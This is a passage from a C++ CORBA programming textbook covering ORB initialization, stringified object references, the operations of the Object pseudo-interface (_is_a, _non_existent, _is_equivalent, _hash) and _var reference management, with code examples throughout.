Applying arithmetic operators to references 

         
CORBA::Object_ptr o1 = ...; 
CORBA::Object_ptr o2; 
o2 = o1 + 5;                // Meaningless! 
ptrdiff_t diff = o2 - o1;   // Meaningless! 
 

        
Conversion of _ptr references to and from void * 

         
CORBA::Object_ptr o = ...; 
void *v = (void *)o;            // Undefined! 
o = (CORBA::Object_ptr)v;    // Ditto! 
 

        
Down-casts other than with _narrow 

         
CCS::Thermostat_ptr tmstat = ...;   // Get reference 
CORBA::Object_ptr o = tmstat;       // OK 
CCS::Thermostat_ptr tmstat2; 
 
tmstat2 = dynamic_cast<CORBA::Object_ptr>(o);       // Bad! 
tmstat2 = static_cast<CORBA::Object_ptr>(o);        // Bad! 
tmstat2 = reinterpret_cast<CORBA::Object_ptr>(o);   // Bad! 
tmstat2 = (CORBA::Object_ptr)o;                        // Bad! 
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tmstat2 = CCS::Thermostat::_narrow(o);           // OK 
 

        
Testing for nil other than with CORBA::is_nil 

         
CCS::Thermostat_ptr tmstat = CCS::Thermostat::_nil(); 
 
if (tmstat) ...                             // Illegal! 
if (tmstat != 0) ...                        // Illegal! 
if (tmstat != CCS::Thermostat::_nil()) ...  // Illegal! 
if (!CORBA::is_nil(tmstat)) ...        // OK 
 

7.7 Pseudo-Objects 

So far, we have skirted the issue of how a client actually obtains an object reference. To 
address this, we must look at pseudo-objects and examine how a client initializes the 
ORB and how it gets its initial object references. 
 
The CORBA specification defines a number of interfaces to the ORB run time. Because 
CORBA supports several different implementation languages, these interfaces must be 
specified in a language-independent way. IDL is perfectly suited to this; a single IDL 
specification describes an interface for all supported implementation languages. 
 
To avoid polluting the global namespace, interfaces defined by CORBA are placed in the 
CORBA module. Following is a small part of the contents of that module. 
      
module CORBA {      // PIDL 
  interface ORB { 
     // ... 
  }; 
  // ... 
}; 
 
     
Note the PIDL comment for the module. It stands for pseudo-IDL. Pseudo-IDL 
definitions are like ordinary IDL definitions and use the same data types, operations, 
attributes, and so on. There is almost no syntactic difference between PIDL and IDL—
but see the definition of ORB_init on page 242. 
 
Why bother with PIDL? The answer is that some interfaces to the ORB cannot be 
implemented as ordinary CORBA objects but instead must be implemented by library 
code that ships with the ORB. In particular, interfaces to the ORB run time must be 
implemented this way, and the PIDL comment marks such interfaces. 
 
Interfaces defined in PIDL are subject to a number of restrictions. 
 
Pseudo-interfaces do not implicitly inherit from Object. 
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Pseudo-interfaces cannot be passed as arguments to operations on ordinary interfaces. 
(The TypeCode pseudo-interface is exempt from this rule—see Section 16.3.3.) 
 
Operations on pseudo-interfaces cannot be invoked via the Dynamic Invocation Interface 
(DII). 
 
Pseudo-interfaces do not have definitions in the Interface Repository. 
 
Pseudo-interfaces may have a special-purpose language mapping that deviates from the 
normal rules. 
 
All this sounds terribly restrictive, but it is not because there is no need ever to use any of 
the restricted features for pseudo-objects. The one noticeable difference between PIDL 
and ordinary objects is that PIDL objects may have a special-purpose language mapping. 
We point out such differences as we discuss the relevant PIDL. Usually, differences from 
the normal mapping rules exist to avoid restricting ORB implementers in their range of 
choices or to make the relevant interface easier to use. 

7.8 ORB Initialization 

Before a client can do anything, it must initialize the ORB run time. The initialization call 
is defined in the CORBA module: 
      
module CORBA {                              // PIDL 
   typedef string        ORBid; 
   typedef sequence<string>    arg_list; 
    
   interface ORB;  // Forward declaration 
 
   ORB ORB_init(inout arg_list argv, in ORBid orb_identifier); 
    
   // ... 
}; 
 
     
The CORBA module defines an operation ORB_init, which initializes the ORB run time 
and returns a pseudo-reference to the ORB object. Note that the ORB_init operation is 
not declared inside an interface. This is legal in PIDL, whereas in normal IDL it would be 
an error (operation declarations can occur only inside an interface). 
 
Before we discuss the details of ORB_init, let us take a look at its C++ mapping: 
      
namespace CORBA { 
    // ... 
    ORB_ptr ORB_init( 
                int &          argc, 
                char **         argv, 
                const char *    orb_identifier = "" 
            ); 
    // ... 
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} 
 
     
The ORB_init function expects three arguments. 
 
argc is the number of entries in argv. 
argv is the command-line argument vector passed to main. 
orb_identifier is a vendor-specific string (defaulted to the empty string). 
 
A typical client main looks something like this: 
      
int 
main(int argc, char * argv[]) 
{ 
    CORBA::ORB_ptr orb; 
 
    try { 
        orb = CORBA::ORB_init(argc, argv); 
    } 
    catch (...) { 
        cerr << "Cannot initialize ORB" << endl; 
        exit(1); 
    } 
 
    // Use ORB... 
 
    CORBA::release(orb); 
 
    return 0; 
} 
 
     
ORB_init receives a reference to argc and an argv vector from the client and 
examines argv for ORB-specific options beginning with -ORB. ORB_init removes 
any ORB-specific options from argv so when the call returns, the argument vector 
contains only the remaining options that concern the application rather than the ORB. 
 
The orb_identifier argument to ORB_init identifies the particular ORB to 
initialize. This behavior is useful if an application needs to initialize more than one ORB 
run-time environment. The application can also use orb_identifier to select a 
particular set of configuration values or quality-of-service parameters. CORBA does not 
precisely specify the effects of the orb_identifier argument, so you must consult 
your ORB's documentation for details. 
 
The default orb_identifier is the empty string, which instructs the implementation 
to use whatever default behavior has been configured. If orb_identifier is the 
empty string, ORB_init scans the argument vector for an option of the form -ORBid 
arg. If this option is present, the value of arg determines the behavior. If 
orb_identifier is a non-empty string and if -ORBid is also used, 
orb_identifier overrides the value of the -ORBid option. 
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ORB_init returns a reference to the ORB pseudo-object. Clients and servers always 
obtain their first object reference this way; the ORB pseudo-object contains operations 
that can be called to obtain further references. Note that you must eventually release the 
returned reference (pseudo-references must be released just as normal references are). 
Releasing the ORB reference instructs the ORB run time to clean up. This means that you 
must release the ORB reference last because other ORB-related calls may no longer work 
after the run time has cleaned up. 
 
Note that you cannot use the ORB before the code has entered main because you must 
pass argc and argv parameters to ORB_init. In particular, you cannot make 
CORBA-related calls from constructors for global or static C++ objects. Do not try to 
cheat by passing dummy argc and argv parameters to ORB_init before the code has 
entered main; the result may be a core dump. For example, ORB_init could fail 
catastrophically because it may itself depend on side effects from global constructors in 
the ORB run-time libraries. 
 
In general, you should ban global objects from your code. As shown in [11], global 
objects inevitably cause more problems than they solve. However, the ORB pseudo-
object typically must be accessible from anywhere in your source code. A good way to 
make the object globally accessible is to use the Singleton pattern [4]. 

7.9 Initial References 

After the client has initialized the ORB, it can obtain further references by invoking 
operations on the ORB interface: 
      
module CORBA {      // PIDL 
   // ... 
   interface ORB { 
      string  object_to_string(in Object obj); 
      Object  string_to_object(in string str); 
      // ... 
   }; 
   // ... 
}; 
 
     
The ORB interface contains two operations that can be used to create and obtain initial 
references. 
 
object_to_string  This operation converts a reference into a printable string—for 
example, for storing a reference on disk.  
 
string_to_object  This operation converts a stringified reference back into an 
object reference.  
 
The C++ mapping for these operations is as follows: 
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namespace CORBA { 
    // ... 
    class ORB { 
    public: 
        char *      object_to_string(Object_ptr p); 
        Object_ptr  string_to_object(const char * s); 
    }; 
    // ... 
} 
 
     
A client uses these operations by invoking them on the ORB pseudo-object. 

7.9.1 Conversion from String to Reference 

The following example shows how a client obtains a reference to our climate controller 
object from the command line. 
       
// Initialize ORB. 
CORBA::ORB_ptr orb = CORBA::ORB_init(argc, argv); 
 
// Assume argv[1] is a stringified reference to a controller. 
CORBA::Object_ptr obj; 
try { 
    obj = orb->string_to_object(argv[1]); 
} 
catch (...) { 
    cerr << "Bad format for stringified reference" << endl; 
    exit(1); 
} 
 
// Check that reference is non-nil. 
if (CORBA::is_nil(obj)) { 
    cerr << "Passed reference is nil" << endl; 
    exit(1); 
} 
 
// Narrow to controller. 
CCS::Controller_ptr ctrl; 
try { 
    ctrl = CCS::Controller::_narrow(obj); 
} 
catch (...) { 
    cerr << "Narrow failed" << endl; 
    exit(1); 
} 
 
// Don't need base interface anymore. 
CORBA::release(obj); 
 
// Was the reference of the correct type? 
if (CORBA::is_nil(ctrl)) { 
    cerr << "Argument is not a controller reference" << endl; 
    exit(1); 
} 
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// 
// Use controller reference... 
// 
 
// Clean up 
CORBA::release(ctrl);       // Narrow calls _duplicate 
CORBA::release(orb);     // Clean up 
 
      
There is quite a bit happening in this example, so we cover the code in stages. 
 
Note that pseudo-operations such as string_to_object and _narrow can throw 
exceptions. We cover exception handling in detail in Section 7.15. For now, our 
exception handling is to print an error message and exit whenever any exception is 
thrown at all. 
 
Keep in mind that calling exit is fine for operating systems such as UNIX, in which the 
kernel guarantees recovery of resources allocated to a process. However, in DOS or 
Windows, this strategy will eventually get you into trouble because memory allocated in 
DLLs is not necessarily recovered by the operating system when a process exits. If you 
are writing code for such an environment, you must release resources allocated to your 
process before you exit; otherwise, the machine will eventually run out of memory. 
 
obj = orb->string_to_object(argv[1]); 
This call converts a stringified object reference back to a reference. The returned 
reference has the type CORBA::Object_ptr. Because Object is at the root of the 
interface inheritance tree, string_to_object can return references of arbitrary 
interface type. 
 
string_to_object creates a new proxy, so you must eventually release the 
reference again by calling CORBA::release. 
 
If the passed string is syntactically invalid, string_to_object throws an exception. 
if (CORBA::is_nil(obj)) ... 
 
The string passed as argv[1] may be a valid reference, but that does not guarantee that 
it is non-nil. The client explicitly tests for this condition and complains if a nil reference 
is passed. 
 
ctrl = CCS::Controller::_narrow(obj); 
 
The client expects a reference to a climate controller (not to some other interface). The 
call to _narrow determines whether the passed reference is of the correct type. If 
_narrow returns nil, the passed reference is of the wrong type. 
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_narrow creates a new proxy, so you must eventually release the returned reference 
again by calling CORBA::release. 
 
_narrow raises an exception if the ORB cannot reliably determine whether the 
reference is of the expected type. Usually, the exception is either TRANSIENT or 
OBJECT_NOT_EXIST. We cover the semantics of these exceptions in Section 7.15.2. 
CORBA::release(obj); 
 
The client does not need to keep the reference obj (of type Object_ptr) after it has 
successfully narrowed it, so it might as well release it. 
 
After the client has narrowed the reference to the correct type, the client can use it to 
invoke operations on the corresponding object. 
 
CORBA::release(ctrl); 
When the client is no longer interested in the reference, it calls CORBA::release to 
reclaim its resources. 
 
CORBA::release(orb); 
This is the final ORB-related call in all clients. Releasing the ORB pseudo-object instructs 
the run time that no further CORBA activity will take place and that all CORBA run-time 
resources should be released. 

7.9.2 Conversion from Reference to String 

The object_to_string operation converts an object reference into a string: 
       
CORBA::ORB_ptr orb = CORBA::ORB_init(argc, argv); 
 
CCS::Controller_ptr ctrl = ...; // Get reference... 
 
char * s; 
try { 
    s = orb->object_to_string(ctrl); 
} 
catch (...) { 
    cerr << "Cannot convert reference to string" << endl; 
    exit(1); 
} 
 
cout << s << end;               // Print reference 
 
CORBA::string_free(s);          // Finished with string 
CORBA::release(ctrl);           // Release controller proxy 
CORBA::release(orb);         // Shut down run time 
 
      
object_to_string returns the stringified form of the passed reference. As always, 
the returned string is dynamically allocated, so the preceding code calls string_free 
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to make sure that the string is not leaked (alternatively, we could have used a 
String_var). 
 
Note that object_to_string does not affect the proxy for the reference in any way; 
the reference must still be released with CORBA::release. 
 
object_to_string can throw exceptions (for example, if you pass a dangling 
reference or if the ORB cannot allocate memory for the string). 

7.10 Stringified References 

CORBA is unusual among object systems for allowing a reference to be converted into a 
string that can be stored and converted back into a reference later. This feature, although 
useful, is also open to abuse, so it is worthwhile to discuss stringified references in some 
detail. 

7.10.1 Stringified Initial References 

Stringified references are often used to supply a client with one or more references to 
initial objects required for bootstrapping. Although this technique works, it is inelegant 
and does not distribute well. To get a reference from server to client, the reference must 
be transmitted via out-of-band means (such as e-mail), or it must be written into a file 
system that is shared by client and server (not a truly distributed solution). 
 
CORBA offers better and more sophisticated means of distributing initial references, and 
we cover them in Chapters 18 and 19. For now, we are using stringified references 
for bootstrapping because they are the simplest (but not the best) way to get an initial 
reference from a server to a client. In practice, you will almost never convert references 
to or from strings. 

7.10.2 Size of Stringified References 

Stringified references begin with the prefix IOR: followed by an even number of 
hexadecimal digits. For example: 
       
IOR:000000000000000d49444c3a54696d653a312e300000000000000001000000 
00000000d800010100000000066d6572676500060b000000bd030231310c000016 
7e0000175d360aed118129582d466163653a20267a682e2a4e394d4f77724d7152 
73352a5d443948434b446a702c347634527250722f7d3f5b2b554c74644726485a 
3c4d3259797c62325e642b65447a37442b21684f473c2a39795521302723373f69 
633f5e7e7c7d73647b52235c722c7230694f32535d577e644f2d21455035216a64 
562d2b33437362317029554d4e57627c3f303a364f67776b613c6d354b2227443c 
577a215a5d234b484a517175465a200000000000000000 
 
      
As you can see, stringified IORs are quite long—lengths of 200 to 800 bytes are common. 
The exact length depends on the ORB and the length of the object key used by the 
application. However, do not assume that because stringified IORs are long, they will 



IT-SC book: Advanced CORBA® Programming with C++ 

 228 

also consume a large amount of memory. For one thing, 50% of the bits of the stringified 
representation are wasted (because the string uses only hexadecimal digits). Second, an 
ORB can represent the information contained in references in a compact format in 
memory: if a client holds multiple references to objects in a single server, the ORB can 
keep a single in-memory copy to information that is identical among all the references 
(such as the repository ID and the addressing information). In that way, the ORB stores 
only the essential information unique to each reference and shares everything else to 
conserve memory. 
 
Not all ORBs implement this optimization. However, in a high-quality implementation, 
each additional reference in the client can consume as little as 30 bytes. 
Nil references can be stringified as with any other reference: 
       
IOR:00000000000000010000000000000000 
 
      

7.10.3 Interoperability of Stringified References 

The string representation of references is standardized by CORBA. This means that you 
can safely decode a stringified reference that was produced by a different ORB. Any 
differences among ORB environments are portably encoded in the reference itself. For 
example, here is an alternative representation of a nil reference: 
       
IOR:01000000010000000000000000000000 
 
      
This reference is encoded in little-endian byte ordering (indicated by its IOR:01 prefix), 
whereas the nil reference in Section 7.10.2 uses big-endian byte ordering (indicated by its 
IOR:00 prefix). An ORB correctly deals with such differences when it decodes a 
stringified reference. 

7.10.4 Rules for Stringified References 

CORBA is very strict about what you can do with stringified references. The only legal 
uses are 
 
Conversion of a reference to a string (object_to_string) 
 
Storage of a stringified reference for later retrieval 
 
Conversion of a stringified reference back to a reference (string_to_object) 
 
You can legally store a reference on disk or propagate it via out-of-band means (such as 
e-mail or even smoke signals). You can store a reference in stringified form indefinitely; 
the reference will continue to denote the same object provided that the object still exists 
when you de-stringify the reference. 
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Beyond that, you cannot make any assumptions about stringified references. In particular, 
you cannot assume that stringifying a reference to an object will always produce the same 
string. It is perfectly legal for an ORB to produce different strings for the same object at 
different times. This happens, for example, if the ORB caches information in the 
reference. 
 
Even though you can look at the stringified representation of a reference, you are not 
allowed to do that because it violates the opaqueness of references (see Section 2.5.1). 
If you compare stringified references to determine whether two references denote the 
same object, you are completely outside the CORBA object model. The outcome of such 
a comparison is meaningless. 
 
Do not ever use stringified references as database keys; that use involves comparing 
string representations, which is illegal. Besides, their large size makes stringified IORs 
unsuitable as key values. 
 
If you need to compare references, you can do so portably by calling the 
is_equivalent operation on the Object pseudo-interface (see Section 7.11.3). 

7.11 The Object Pseudo-Interface 

As you saw in Section 7.3, all interfaces inherit from Object, which is a pseudo-
interface defined in the CORBA module: 
      
module CORBA {      // PIDL 
  // ... 
  interface Object { 
     Object       duplicate(); 
     void        release(); 
     boolean     is_nil(); 
     boolean     is_a(in string repository_id); 
     boolean     non_existent(); 
     boolean     is_equivalent(in Object other_object); 
     unsigned long  hash(in unsigned long max); 
     // ... 
  }; 
  // ... 
}; 
 
     
We have already seen the mapping for duplicate, release, and is_nil (see 
Table 7.1 for a summary). This section covers the is_a, non_existent, 
is_equivalent, and hash operations. (Interface Object also contains other 
operations relating to the DII, security, and administration, but these operations are 
outside the scope of this book.) 
 
The operations shown here map to member functions of CORBA::Object: 
      
class Object { 



IT-SC book: Advanced CORBA® Programming with C++ 

 230 

public: 
    // ... 
    Boolean _is_a(const char * repository_id); 
    Boolean _non_existent(); 
    Boolean _is_equivalent(Object_ptr other_object); 
    ULong   _hash(ULong max); 
    // ... 
}; 
 
     
Note that all four operations are mapped with a preceding underscore (is_a becomes 
_is_a and so on). This rule prevents clashes with user-defined IDL operations in 
derived interfaces. For example, if you create an interface containing an is_a operation 
of your own, your is_a operation maps to C++ is_a, whereas the is_a inherited from 
Object maps to _is_a to avoid clashes. 
 
All four operations are implemented as non-static member functions of class Object. 
This means that you cannot invoke them on nil references: 
      
CORBA::Object_ptr p = CORBA::Object::_nil();    // Make nil ref 
if (p->_non_existent())     // Crash imminent!!! 
    // ...  
 
     
Remember that it is illegal to invoke operations on nil references, and pseudo-references 
are no different. The only functions that are safe for use with nil references are static 
member functions and functions in the CORBA namespace, such as _duplicate, 
release, and is_nil. If you cannot be sure that a reference is not nil, you can guard 
the test with is_nil: 
      
 
if (CORBA::is_nil(p) || p->_non_existent()) 
    // Objref is nil or dangles 
 
     

7.11.1 The _is_a Operation 

_is_a tests whether an object reference supports the interface specified by the 
repository_id argument. The argument must be a well-formed repository ID in one 
of the formats shown in Section 4.19. For example: 
       
CORBA::Object_ptr obj = ...;    // Get controller reference 
if (!CORBA::is_nil(obj)) { 
    if (obj->_is_a("IDL:acme.com/CCS/Controller:1.0")) { 
        // It's a controller 
    } else { 
        // It's something else 
    } 
} else { 
    // It's a nil reference 
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} 
 
      
The test returns true if the object reference supports the specified interface. Note that you 
can use _is_a to test whether an object supports a base interface: 
       
CORBA::Object_ptr obj = ...;    // Get actual thermostat reference 
assert(obj->_is_a("IDL:acme.com/CCS/Thermometer:1.0")); 
assert(obj->_is_a("IDL:omg.org/CORBA/Object:1.0")); 
 
      
Assuming that obj really is initialized with a thermostat reference, both assertions 
succeed. Of course, the second assertion must succeed for all references because all 
interfaces inherit from Object. 
 
If the passed repository ID does not match the syntax for repository IDs in Section 
4.19, _is_a throws an exception. (The CORBA specification does not state which one; 
BAD_PARAM is a likely choice.) 
 
_is_a is similar to _narrow; both functions test whether a reference supports a 
particular interface. The difference is that _is_a does not require compile-time 
knowledge of the interface, whereas _narrow requires the caller to link the stubs 
generated by the IDL compiler. _is_a is provided mainly for clients using the DII, 
which acquire type information at run time. 
 
Note that _is_a and _narrow may send a message to the server (see Section 
13.4.1). If the server cannot be contacted, either operation will raise a system exception. 
Whether or not _is_a and _narrow result in a remote message depends on your ORB 
implementation. If both the type of the reference and the narrowed-to type were known at 
compile time, the client-side run time can determine the result statically by using the 
repository IDs of the reference and the narrowed-to type. In that case, no remote message 
need be sent. However, if at least one of the repository IDs was not seen at compile time, 
the client-side run time is forced to contact the server that implements the object to find 
out whether the object supports the narrowed-to type. 
 
In practice, you rarely care whether _is_a or _narrow results in a remote message. 
However, your code must be prepared to handle system exceptions from calls to these 
operations. For example, if the server for an object cannot be reached, the client gets a 
TRANSIENT exception on its call to _narrow (instead of getting it when the client 
invokes its first operation on the object). 

7.11.2 The _non_existent Operation 

_non_existent tests whether a reference denotes an existing object. If the reference 
no longer denotes an existing object (the reference dangles), _non_existent returns 
true. 
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You must be very clear about what is being tested here. A true return value from 
_non_existent is an authoritative answer that the corresponding object does not exist 
and will never exist again in the future. If a client receives a true return value, it can (and 
should) permanently clean up any resources associated with the object. 
       
CORBA::Object_ptr obj = ...;    // Get reference to some object 
try { 
    if (obj->_non_existent()) { 
        // Object is gone forever 
    } else { 
        // Object definitely exists 
    } 
} 
catch (const CORBA::TRANSIENT &) { 
    // Couldn't decide whether or not object exists... 
} 
catch (...) { 
    // Something else went wrong 
} 
 
      

_non_existent Is Not a Ping 

_non_existent is quite distinct from a ping operation, which tests whether the server 
implementing an object can be reached. To make its decision, _non_existent may 
contact and possibly activate the server implementing the object. In that case, it 
effectively works like a ping. However, depending on how your ORB is constructed, 
_non_existent may be able to return an answer without involving the target server. 
This means that you cannot rely on _non_existent to actually contact the target 
server, and therefore you cannot use _non_existent as a ping replacement. 
 
If _non_existent decides to contact the target server to make its decision, the 
attempt may fail. This might happen if, for example, connectivity cannot be established. 
In that case, _non_existent does not return true. Instead, it raises an exception to let 
you know that no reliable determination could be made. 
 
In summary, the possible outcomes of a call to _non_existent are as follows. 
True 
The object is definitely gone forever. 
False 
 
The object definitely exists. A false return value does not guarantee that 
_non_existent could contact the object; it guarantees only that it is known to exist. 
TRANSIENT exception 
 
No reliable determination could be made. If you try again later, you may get a more 
definite answer. 
 



IT-SC book: Advanced CORBA® Programming with C++ 

 233

Other system exception 
_non_existent results in a call to the server that implements the object (see Section 
13.4.1). This means that _non_existent can raise system exceptions other than 
TRANSIENT (such as COMM_FAILURE if connectivity is lost before the reply arrives 
from the server). 

Implementing a Ping Operation 

As you just saw, _non_existent is not quite the same as a ping because it may not 
try to contact the object implementation. If you need this functionality, you can easily 
implement it yourself. 
        
interface Pingable { 
   void ping(); 
}; 
 
interface Foo : Pingable { 
    // ... 
}; 
 
       
Any interface that inherits from Pingable supports the ping operation. To ping an 
object, the client simply calls that operation. If ping does not raise an exception, the 
corresponding object both exists and can be reached: 
        
Foo_ptr f = ...;    // Get Foo reference 
 
try { 
    f->ping();  
} 
catch (const CORBA::OBJECT_NOT_EXIST &) { 
    // Ping failed because object no longer exists 
} 
catch (...) { 
    // Could not reach Foo object for some reason 
} 
// Ping succeeded 
 
       
If the ping fails, the exception that is raised depends on the circumstances. Most likely, 
you will get a TRANSIENT exception, which indicates that the server could not be 
reached. If you get an OBJECT_NOT_EXIST exception, it is an authoritative indication 
that the object does not exist (this is the same as a true return value from 
_non_existent). 

Side Effects 

Both _non_existent and the ping operation may result in a server being started by 
the ORB as a side effect. If a client calls _non_existent on a large collection of 
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references, it may result in a large number of servers starting up just to determine whether 
an object can be reached. 
 
For administrative purposes, it is often useful to be able to find out whether an object is 
running but without starting its server if it is not running. CORBA does not offer a 
portable way to achieve this; remember, the CORBA object model actively hides 
anything relating to an object's implementation. However, most ORBs offer 
administrative tools that permit you to find out which server implements a particular 
object and to check whether a particular server is currently running. 

7.11.3 The _is_equivalent Operation 

_is_equivalent tests whether one reference is identical to another reference: 
       
CORBA::Object_ptr o1 = ...; // Get some reference 
CORBA::Object_ptr o2 = ...; // Get another reference 
 
if (o1->_is_equivalent(o2)) { 
    // o1 and o2 denote the same object 
} else { 
    // o1 and o2 may or may not denote the same object 
} 
 
      
If a call to _is_equivalent returns true, the two references compare equal and 
therefore denote the same object instance. Unfortunately, a false return value from 
_is_equivalent does not indicate that the two references denote different objects. In 
other words, a false return value indicates that the references may denote different objects 
or that both denote the same object. 
 
This behavior may sound strange, but there are good reasons for it. _is_equivalent 
must be efficient, so the CORBA specification requires that it must be implemented 
locally (the ORB is not allowed to make remote calls to implement _is_equivalent). 
This in turn means that _is_equivalent can unequivocally determine whether two 
references are identical (they are identical if they are bitwise equal). However, if the two 
references are not bitwise equal, determination of whether they denote the same object 
depends on their object keys. As you saw in Section 2.5.3, the object key contains 
proprietary information. If _is_equivalent is asked to compare two references 
created by another ORB, it does not know how to decode the object key and 
pessimistically concludes that the references are different even though they may happen 
to denote the same object. (Comparison of two references using the same ORB that 
created them is usually reliable, but it is not guaranteed to be reliable by the CORBA 
specification.) 
 
More succinctly put, _is_equivalent uses object reference identity and not object 
identity. If two references are identical, by definition they denote the same object. 
However, if two references are different, it may be impossible to decide whether or not 
they denote the same object. 
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If you require reliable object identity across different ORBs for an application, you must 
implement it yourself: 
       
interface Identity { 
   typedef whatever IDType; 
   IDType  id(); 
}; 
 
      
This interface is inherited by all interfaces that must provide object identity. To reliably 
determine whether two references denote the same object, clients can invoke each 
object's id operation; identical return values indicate the same object, and different 
return values indicate different objects. Note that object identity is far more expensive 
than the weaker identity provided by _is_equivalent: object identity requires 
sending an actual message to each object, whereas reference identity can be established 
locally. 
 
You can use whatever identifier is sufficiently unique to establish identity across all 
objects with confidence. A UUID [29] is often a good choice. 
Remember the advice given in Section 7.10.4: never use stringified references to 
determine either reference or object identity. 

7.11.4 The _hash Operation 

Consider the following problem: You are currently holding a large collection of object 
references. Someone hands you a new reference with the question, "Is this reference the 
same as one of those already in your collection?" 
 
If _is_equivalent is your only means of comparing references, answering the 
question becomes expensive: you must invoke _is_equivalent once for every 
reference already in the collection, giving O(n) performance. To get around this, _hash 
computes a hash value that is guaranteed to remain the same for the lifetime of a 
reference. The return value is in the range 0 to max-1 (max is passed as a parameter to 
_hash). Different references may generate the same hash value, but if two references 
return different hash values, the two references are guaranteed to be different. (This does 
not mean, however, that they denote different objects.) 
 
Using _hash, you can divide your collection of references into as many equivalence 
classes as you like. To determine whether a new reference is already in the collection, 
you determine the hash value of the new reference and then compare the new references 
against references having the same hash value. Provided that there are enough 
equivalence classes, the cost per comparison is O(1). 
 
_hash is guaranteed to be implemented as a local operation and therefore will be fast, at 
least compared with the cost of sending a remote message. 
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Note that CORBA does not specify the hashing algorithm to be used by _hash. This 
means that if you compute a hash value for the same reference on different ORBs, you 
will get different answers. However, the hash value for a reference computed by a given 
ORB is immutable for the lifetime of the reference. 
 

Table 07.1. Mapping for operations on CORBA::Object. 
IDL Object Operation C++ Function 

Object duplicate(); 
static 
Interface_ptrInterface::_duplicate(Interface_ptr 
src); 

void release(); void CORBA::release(Object_ptr p); 
boolean is_nil(); CORBA::is_nil(Object_ptr p); 
boolean is_a(in 
string id); Boolean Object::_is_a(const char *id); 

boolean 
non_existent(); Boolean Object::_non_existent(); 

boolean 
is_equivalent(in 
Object other_obj); 

Boolean Object::_is_equivalent(Object_ptr 
other_obj); 

unsigned long 
hash(in unsigned 
long max); 

ULong Object::_hash(ULong max); 

7.11.5 Mapping Summary for Operations on Object 

The mapping for operations on Object to C++ is summarized in Table 7.1. Note that 
in addition to the functions shown in Table 7.1, the mapping generates a static _nil 
member function into every proxy class. _nil generates a nil reference of the 
corresponding interface type: 
       
static Interface_ptr _nil(); 

7.12 _var References 

The code examples you have seen so far have used explicit calls to CORBA::release. 
For example: 
      
CCS::Thermometer_ptr tp; 
tp = ...;                               // Get reference 
CCS::TempType t = tp->temperature();    // Read temperature 
CORBA::release(tp);                 // Release reference 
 
     
This code reflects the fact that whenever a reference enters an address space, it points to a 
dynamically allocated proxy that must be released eventually. Of course, this suffers from 
the same potential problem as any other dynamically allocated return value: if you forget 
to call release, you suffer a resource leak. 
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To make life with object references easier, the C++ mapping provides a _var class that 
behaves much like the _var classes for other types: it takes ownership of a reference it is 
initialized with and calls CORBA::release in the destructor. Using a _var reference, 
we can rewrite the preceding example: 
      
CCS::Thermometer_var tp; 
tp = ...;                               // Get reference 
CCS::TempType t = tp->temperature();    // Read temperature 
// Not necessary to release tp here... 
 
     
By changing the variable tp to a _var reference, you are relieved of having to call 
release yourself. Instead, the _var reference calls release for you when it goes out 
of scope. 

7.12.1 Mapping for _var References 

The mapping for _var references is very similar to that of String_var. For each IDL 
interface, the compiler not only generates the interface class and the Interface_ptr 
type but also adds an Interface_var class. Following is the generated 
Thermometer_var class for the Thermometer interface in Section 7.6.1: 
       
namespace CCS { 
    class Thermometer { /* ... */ };        // Proxy class 
    typedef Thermometer * Thermometer_ptr;  // _ptr type 
 
    class Thermometer_var { 
    public: 
                         Thermometer_var(); 
                         Thermometer_var(Thermometer_ptr &); 
                         Thermometer_var(const Thermometer_var &); 
                         ~Thermometer_var(); 
 
       Thermometer_var & operator=(Thermometer_ptr &); 
       Thermometer_var & operator=(const Thermometer_var &); 
                         operator Thermometer_ptr &(); 
       Thermometer_ptr   operator->() const; 
 
       Thermometer_ptr   in() const; 
       Thermometer_ptr & inout(); 
       Thermometer_ptr & out(); 
       Thermometer_ptr   _retn(); 
 
    private: 
       Thermometer_ptr  p;  // actual reference stored here 
    }; 
    // ... 
} 
 
      
Even though this machinery looks complicated, most of it exists simply to make _var 
references easy to use. The main rules are as follows. 
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If you initialize a _var reference with a _ptr reference or assign a _ptr reference to a 
_var reference, the _var reference takes ownership (without incrementing the 
reference count on the proxy) and eventually calls release on the underlying _ptr. 
 
If you initialize a _var reference with another _var reference or assign _var 
references to each other, the _var makes a deep copy (that is, it increments the reference 
count on the proxy). When the _var reference goes out of scope, it calls release (it 
decrements the reference count on the proxy). 
 
These rules are similar to those for String_var, in which initialization and assignment 
from a char * make a shallow copy and take ownership, whereas initialization and 
assignment from another String_var make a deep copy. 
       
Thermometer_var(); 
 
      
The default constructor initializes the _var to a nil reference, so the following code is 
guaranteed to pass the assertion: 
       
CCS::Thermometer_var v; 
assert(CORBA::is_nil(v)); 
 
Thermometer_var(Thermometer_ptr &); 
 
      
If you initialize a _var from a _ptr reference, the _var reference takes ownership and 
calls CORBA::release when it goes out of scope. The reference count on the proxy is 
not incremented. 
       
Thermometer_var(const Thermometer_var &); 
 
      
If you copy-construct a _var, it makes a deep copy (increases the reference count on the 
proxy). When the _var goes out of scope, it calls CORBA::release. For example, the 
following code contains no leaks: 
       
CCS::Thermometer_ptr tp = ...;      // Get reference... 
{ 
    CCS::Thermometer_var t1(tp);    // t1 takes ownership 
    CCS::Thermometer_var t2(t1);    // Copy, ref count is now 2 
    // Use t1 and t2... 
} // No leak here - both t1 and t2 call 
  // release and tp now dangles. 
 
  ~Thermometer_var(); 
 
      
The destructor calls CORBA::release, decrementing the reference count. 
       
Thermometer_var & operator=(Thermometer_ptr &); 
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If you assign a _ptr reference to a _var reference, the _var reference takes ownership. 
This technique is useful for preventing memory leaks: 
       
{ 
    CCS::Thermometer_ptr p = ...;   // Get reference 
    CCS::Thermometer_var v; 
    v = p;                          // v takes ownership 
    // Use v... 
} // No leak here - v's destructor calls 
  // release and p now dangles. 
 
Thermometer_var & operator=(const Thermometer_var &); 
 
      
If you assign one _var to another, the target _var first releases its current reference 
(decrements the target reference count) and then calls _duplicate on the source 
reference (increments the source reference count). The net effect is a proper deep 
assignment: 
       
{ 
    CCS::Thermometer_var t1(...);   // get reference 1 
    CCS::Thermometer_var t2(...);   // get reference 2 
 
    t1 = t2;    // Release ref 1 and duplicate ref 2. 
                // t1 and t2 point to the same proxy now - 
                // the proxy has a reference count of 2. 
} // No leak here - both t1 and t2 call release. 
 
operator Thermometer_ptr &(); 
 
      
The conversion operator allows you to use a _var where a _ptr is expected: 
       
extern void foo(CCS::Thermometer_ptr p); 
 
CCS::Thermometer_var param = ...;   // Get reference 
foo(param);                     // OK, automatic conversion 
 
      
Here, foo expects a _ptr reference. The conversion operator allows you to pass a 
_var reference as if it were a _ptr reference. (As you will see in Sections 7.14.10 
